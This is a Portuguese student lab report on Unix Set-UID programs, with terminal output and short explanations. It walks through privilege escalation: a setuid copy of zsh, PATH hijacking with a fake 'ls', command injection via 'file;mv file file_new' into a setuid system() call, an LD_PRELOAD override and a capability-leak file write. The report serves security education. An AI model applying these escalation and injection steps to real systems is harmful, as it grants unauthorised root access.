You are on page 1of 8

Apenas saídas do terminal

///////////////////////////////////////////////////////////////////////////////////////////

alkenny@adalkenny-Satellite-C855D:~$ which passwd


/usr/bin/passwd
alkenny@adalkenny-Satellite-C855D:~$ ls -al /usr/bin/passwd
-rwsr-xr-x 1 root root 59640 mar 22 2019 /usr/bin/passwd
alkenny@adalkenny-Satellite-C855D:~$ cp /usr/bin/passwd /tmp/
alkenny@adalkenny-Satellite-C855D:~$ ls -al /tmp/passwd
-rwxr-xr-x 1 adalkenny adalkenny 59640 dez 20 10 :10 /tmp/passwd

Eu descobri que ao copiar passwd para /tmp/, ele perde privilégio root. Assim como
chsh, su e sudo, são todos iguais.

2.a
adalkenny@adalkenny-Satellite-C855D:~$ cd /tmp/
adalkenny@adalkenny-Satellite-C855D:/tmp$ sudo su
[sudo] password for adalkenny:
root@adalkenny-Satellite-C855D:/tmp# cp /usr/bin/zsh /tmp/
root@adalkenny-Satellite-C855D:/tmp# chmod u+s zsh
root@adalkenny-Satellite-C855D:/tmp# ls -al zsh
-rwsr-xr-x 1 root root 832416 dez 26 17:22 zsh
root@adalkenny-Satellite-C855D:/tmp# exit
exit
adalkenny@adalkenny-Satellite-C855D:/tmp$ ./zsh
adalkenny-Satellite-C855D# id
uid=1000(adalkenny) gid=1000(adalkenny) euid=0(root)
groups=1000(adalkenny),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),1
27(sambashare)
adalkenny-Satellite-C855D#

```
Agora um utilizador normal tem previlégio de root

2.b
adalkenny@adalkenny-Satellite-C855D:/tmp$ sudo su
root@adalkenny-Satellite-C855D:/tmp# cp /bin/bash /tmp/
root@adalkenny-Satellite-C855D:/tmp# chmod u+s bash
root@adalkenny-Satellite-C855D:/tmp# exit
exit
adalkenny@adalkenny-Satellite-C855D:/tmp$ ls -al bash
-rwsr-xr-x 1 root root 1113504 dez 26 17:26 bash
adalkenny@adalkenny-Satellite-C855D:/tmp$ ./bash
bash-4.4$ id
uid=1000(adalkenny) gid=1000(adalkenny)
groups=1000(adalkenny),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),1
27(sambashare)

```
Dado que fiz a mesma operação, 'zsh' obteve previlégio de root, mas 'bash' não teve.

3
```sh
adalkenny@adalkenny-Satellite-C855D:/$ cd /bin/
adalkenny@adalkenny-Satellite-C855D:/bin$ sudo su
root@adalkenny-Satellite-C855D:/bin# ls -al sh
lrwxrwxrwx 1 root root 3 dez 19 22:06 sh -> bash
root@adalkenny-Satellite-C855D:/bin# rm sh
root@adalkenny-Satellite-C855D:/bin# ln -s zsh sh
root@adalkenny-Satellite-C855D:/bin# ls -al sh
lrwxrwxrwx 1 root root 3 dez 26 17:38 sh -> zsh
root@adalkenny-Satellite-C855D:/bin#

```
4.
(a) Can you let this Set-UID program(owned by root) run your code instead of
`/bin/ls`? If you can, is your code running with the root privilege? Describe and
explain your observations.
```sh
adalkenny@adalkenny-Satellite-C855D:/$ cd /tmp/
adalkenny@adalkenny-Satellite-C855D:/tmp$ sudo su
root@adalkenny-Satellite-C855D:/tmp# gcc -o system system.c
root@adalkenny-Satellite-C855D:/tmp# chmod u+s system
root@adalkenny-Satellite-C855D:/tmp# exit
exit
adalkenny@adalkenny-Satellite-C855D:/tmp$ cp /bin/sh /tmp/ls
adalkenny@adalkenny-Satellite-C855D:/tmp$ ./system
bash
config-err-Zs2r6Y
ls
mintUpdate
mylib.c
myprog.c
nsemail-1.eml
nsemail.eml
SEC.c
ssh-N9WTpAtL3t6p
system
system.c
systemd-private-c6c99899553e4477aabc04338df45aed-colord.service-IT0xTo
systemd-private-c6c99899553e4477aabc04338df45aed-ModemManager.service-11YqOw
systemd-private-c6c99899553e4477aabc04338df45aed-rtkit-daemon.service-pJG1yI
systemd-private-c6c99899553e4477aabc04338df45aed-systemd-resolved.service-lsztja
systemd-private-c6c99899553e4477aabc04338df45aed-systemd-timesyncd.service-
upDYaP
test.c
timeshift
zsh
adalkenny@adalkenny-Satellite-C855D:/tmp$ id
uid=1000(adalkenny) gid=1000(adalkenny) euid=0(root)
groups=1000(adalkenny),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),1
27(sambashare)

Ele pode ter previlégio de root, copie `/bin/sh` para `/tmp` com novo nome `ls`.
(certifique-se que `sh -> zsh`). Setar `PATH` para o corrente dir `/tmp`, compile e
run `system` que ele vai ter previlégio de root.

4.
(b) Now, change `/bin/sh` so it points back to `/bin/bash`, and repeat the above
attack. Can you still get the root privilege? Describe and explain your observations.
```sh
adalkenny@adalkenny-Satellite-C855D:/$ sudo su
[sudo] password for adalkenny:
root@adalkenny-Satellite-C855D:/# cd /bin/
root@adalkenny-Satellite-C855D:/bin# rm sh
root@adalkenny-Satellite-C855D:/bin# ln -s bash sh
root@adalkenny-Satellite-C855D:/bin# ls -al sh
lrwxrwxrwx 1 root root 4 dez 26 17:58 sh -> bash
root@adalkenny-Satellite-C855D:/bin# exit
exit
adalkenny@adalkenny-Satellite-C855D:/$ cd /tmp/
adalkenny@adalkenny-Satellite-C855D:/tmp$ ./system
bash
config-err-Zs2r6Y
ls
mintUpdate
mylib.c
myprog.c
nsemail-1.eml
nsemail.eml
SEC.c
ssh-N9WTpAtL3t6p
system
system.c
systemd-private-c6c99899553e4477aabc04338df45aed-colord.service-IT0xTo
systemd-private-c6c99899553e4477aabc04338df45aed-ModemManager.service-11YqOw
systemd-private-c6c99899553e4477aabc04338df45aed-rtkit-daemon.service-pJG1yI
systemd-private-c6c99899553e4477aabc04338df45aed-systemd-resolved.service-lsztja
systemd-private-c6c99899553e4477aabc04338df45aed-systemd-timesyncd.service-
upDYaP
test.c
timeshift
zsh
adalkenny@adalkenny-Satellite-C855D:/tmp$ id
uid=1000(adalkenny) gid=1000(adalkenny)
groups=1000(adalkenny),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),1
27(sambashare)

```
Com sh --> bash não consigo ter previlégio de root.

5.a q=0
root@adalkenny-Satellite-C855D:/bin# rm sh
root@adalkenny-Satellite-C855D:/bin# ln -s zsh sh
root@adalkenny-Satellite-C855D:/bin# ls -al sh
lrwxrwxrwx 1 root root 3 dez 26 22:11 sh -> zsh
root@adalkenny-Satellite-C855D:/bin# cd /tmp/

root@adalkenny-Satellite-C855D:/tmp# gcc -o SEC SEC.c


root@adalkenny-Satellite-C855D:/tmp# chmod u+s SEC
root@adalkenny-Satellite-C855D:/tmp# exit
exit
adalkenny@adalkenny-Satellite-C855D:/tmp$ ls -al file SEC
-rwx------ 1 root root 0 - - - - file
-rwsr-xr-x 1 root root 7310 - - - - SEC
adalkenny@adalkenny-Satellite-C855D:/tmp$ ./SEC "file;mv file file_new"
This file only root can read, write and move!!!
adalkenny@adalkenny-Satellite-C855D:/tmp$ ls file*
file_new
```
O `SEC` não é seguro, Bob pode ler, escrever ou mover ficheiro que so root pod
executar.

5.b
root@adalkenny-Satellite-C855D:/tmp# gcc -o SEC2 SEC.c
root@adalkenny-Satellite-C855D:/tmp# chmod u+s SEC2
root@adalkenny-Satellite-C855D:/tmp# exit
exit
adalkenny@adalkenny-Satellite-C855D:/tmp$ ./SEC2 "file;mv file file_new2"
/bin/cat: file;mv file file_new2: No such file or directory
adalkenny@adalkenny-Satellite-C855D:/tmp$ ls file*
file
```
Ao modificar q=1, o ataque não funciona. A razão pela qual o ataque anterior é
efetivamente, é porque system() chama /bin/sh, que vincula o zsh. Depois de executar
o arquivo cat com privilégio de root, ele executa o arquivo mv file_new. Mas quando
q = 1, execve () considerará o arquivo; arquivo mv file_new2 como um nome de
pasta; portanto, o sistema informara que não existe o arquivo.

6.
<1> Make myprog a regular program, and run it as a normal user.
```sh
adalkenny@adalkenny-Satellite-C855D:/tmp$ export LD_PRELOAD=./libmylib.so.1.0.1
adalkenny@adalkenny-Satellite-C855D:/tmp$ echo $LD_PRELOAD
./libmylib.so.1.0.1
adalkenny@adalkenny-Satellite-C855D:/tmp$ gcc -o myprog myprog.c
adalkenny@adalkenny-Satellite-C855D:/tmp$ ./myprog
I am not sleeping!
```
<2> Make myprog a Set-UID root program, and run it as a normal user.
```sh
root@adalkenny-Satellite-C855D:/tmp# sudo su
root@adalkenny-Satellite-C855D:/tmp# export LD_PRELOAD=./libmylib.so.1.0.1
root@adalkenny-Satellite-C855D:/tmp# gcc -o myprog myprog.c
root@adalkenny-Satellite-C855D:/tmp# chmod u+s myprog
root@adalkenny-Satellite-C855D:/tmp# exit
exit
adalkenny@adalkenny-Satellite-C855D:/tmp$ ./myprog
adalkenny@adalkenny-Satellite-C855D:/tmp$

Nessa situação, ele vai ignorar `LD_PRELOAD` environment variable e usa a função
default system's `sleep()`. Portanto `sleep()` não vai ser sobre-escrito.

<3> Make myprog a Set-UID root program, and run it in the root account.
```sh
adalkenny@adalkenny-Satellite-C855D:/tmp$ sudo su
root@adalkenny-Satellite-C855D:/tmp# export LD_PRELOAD=./libmylib.so.1.0.1
root@adalkenny-Satellite-C855D:/tmp# gcc -o myprog myprog.c
root@adalkenny-Satellite-C855D:/tmp# chmod u+s myprog
root@adalkenny-Satellite-C855D:/tmp# ./myprog
I am not sleeping!
```

<4> Make myprog a Set-UID user1 program (i.e., the owner is user1, which is
another user account), and run it as a different user (not-root user).
```sh
adalkenny@adalkenny-Satellite-C855D:/tmp$ sudo su
root@adalkenny-Satellite-C855D:/tmp# useradd -d /usr/user1 -m user1
root@adalkenny-Satellite-C855D:/tmp# su user1
$ export LD_PRELOAD=./libmylib.so.1.0.1
$ gcc -o myprog myprog.c
$ chmod u+s myprog
$ su adalkenny
Password:
adalkenny@adalkenny-Satellite-C855D:/tmp$ ./myprog
adalkenny@adalkenny-Satellite-C855D:/tmp$
```
Nesse caso, ele não sobrescreverá a função `sleep()`

O runtime linker vai ignorar a variável de ambiente LD_PRELOAD quando o myprog


for setado como Set-UID root program e executado a partir de uma conta de user
normal. Apartir desses pontos, sei que apenas um usuário executa o programa criado
por ele, e o ambiente LD_PRELOAD disponível pode ser usado e a função sleep()
pode ser substituída.

6.

```sh
adalkenny@adalkenny-Satellite-C855D:/etc$ sudo su
root@adalkenny-Satellite-C855D:/etc# gcc -o test test.c
root@adalkenny-Satellite-C855D:/etc# chmod u+s test
root@adalkenny-Satellite-C855D:/etc# exit
exit
adalkenny@adalkenny-Satellite-C855D:/etc$ ls -al zzz test
-rwsr-xr-x 1 root root 7453 - - - - test
-rw-r--r-- 1 root root 51 - - - - zzz
adalkenny@adalkenny-Satellite-C855D:/etc$ ./test
adalkenny@adalkenny-Satellite-C855D:/etc$ cat zzz
Malicious Data
```
Pude constatar que, o arquivo foi modificado, o motivo é que o arquivo zzz é aberto
antes de definir o set-uid. Para evitar esse problema, podemos mover setuid(getuid())
para a frente da função open().

///////////////////////////////////////////////////////////////////////////////////////////

Lab Set-UID Program

Setuid, serve definir o User ID em execução, é um tipo especial de permissão de


arquivo no Unix e outros sistemas operacionais baseado em Unix, como Linux e
BSD. É uma ferramenta de segurança que permite aos usuários executar determinados
programas com privilégios escalados.
Quando a permissão setuid de um arquivo executável é definida, os usuários podem
executar esse programa com um nível de acesso que corresponda ao usuário que
possui o arquivo. Por exemplo, quando um usuário deseja alterar sua senha, ele
executa o comando passwd. O programa passwd pertence à conta root e é marcado
como setuid, portanto, o usuário recebe temporariamente acesso root para esse fim
muito limitado.

Eu descobri que ao copiar passwd para /tmp/, ele perde privilégio root. Assim como
chsh, su e sudo, são todos iguais.

2.a Sim, adquiri o privilégio de root, pois dado que o shell zsh pertence ao usuário
root, quando o tornei em um programa setuid e estando localizado no /tmp/zsh
qualquer utilizador pode executa-lo com privilégio root.
2.b Não, não pude ter privilégio root pois acredito que o bash tem o mecanismo de
proteção contra o programa setuid, permitindo privilégios root apenas para quem
estiver logado como root.

4.a Sim, Pode ter privilégios de root, copiei /bin/sh para /tmp com o novo nome ls.
Em seguida, define PATH para o diretório atual /tmp, compilei e executei o
programa do sistema e obtive o privilégio de root.
.

4.b Não, porque ao mudar de shell logo se perde a configuração feita anteriormente
no variável de ambiente e o bash não permite.

5.a Invocar system() faz com que esse programa seja inseguro, pois o Bob pode
facilmente comprometer a integridade do sistema, por exemplo para remover um
ficheiro do sistema é basta acrescentar um separador de comando(|,;, ,,&) e “rm -f
<nome-do-ficheiro>.

5.b Ao modificar q=1, o ataque não funciona. A razão pela qual o ataque anterior é
efetivamente, é porque system() chama / bin / sh, que vincula o zsh. Depois de
executar o arquivo cat com privilégio de root, ele executa o arquivo mv file_new.
Mas quando q = 1, execve () considerará o arquivo; arquivo mv file_new2 como um
nome de pasta; portanto, o sistema informara que não existe o arquivo.

6 O runtime linker vai ignorar a variável de ambiente LD_PRELOAD quando o


myprog for setado como Set-UID root program e executado a partir de uma conta de
user normal. Apartir desses pontos, sei que apenas um usuário executa o programa
criado por ele, e o ambiente LD_PRELOAD disponível pode ser usado e a função
sleep() pode ser substituída.

7 Pude constatar que, o arquivo foi modificado, o motivo é que o arquivo zzz é
aberto antes de definir o set-uid. Para evitar esse problema, podemos mover
setuid(getuid()) para a frente da função open().

You might also like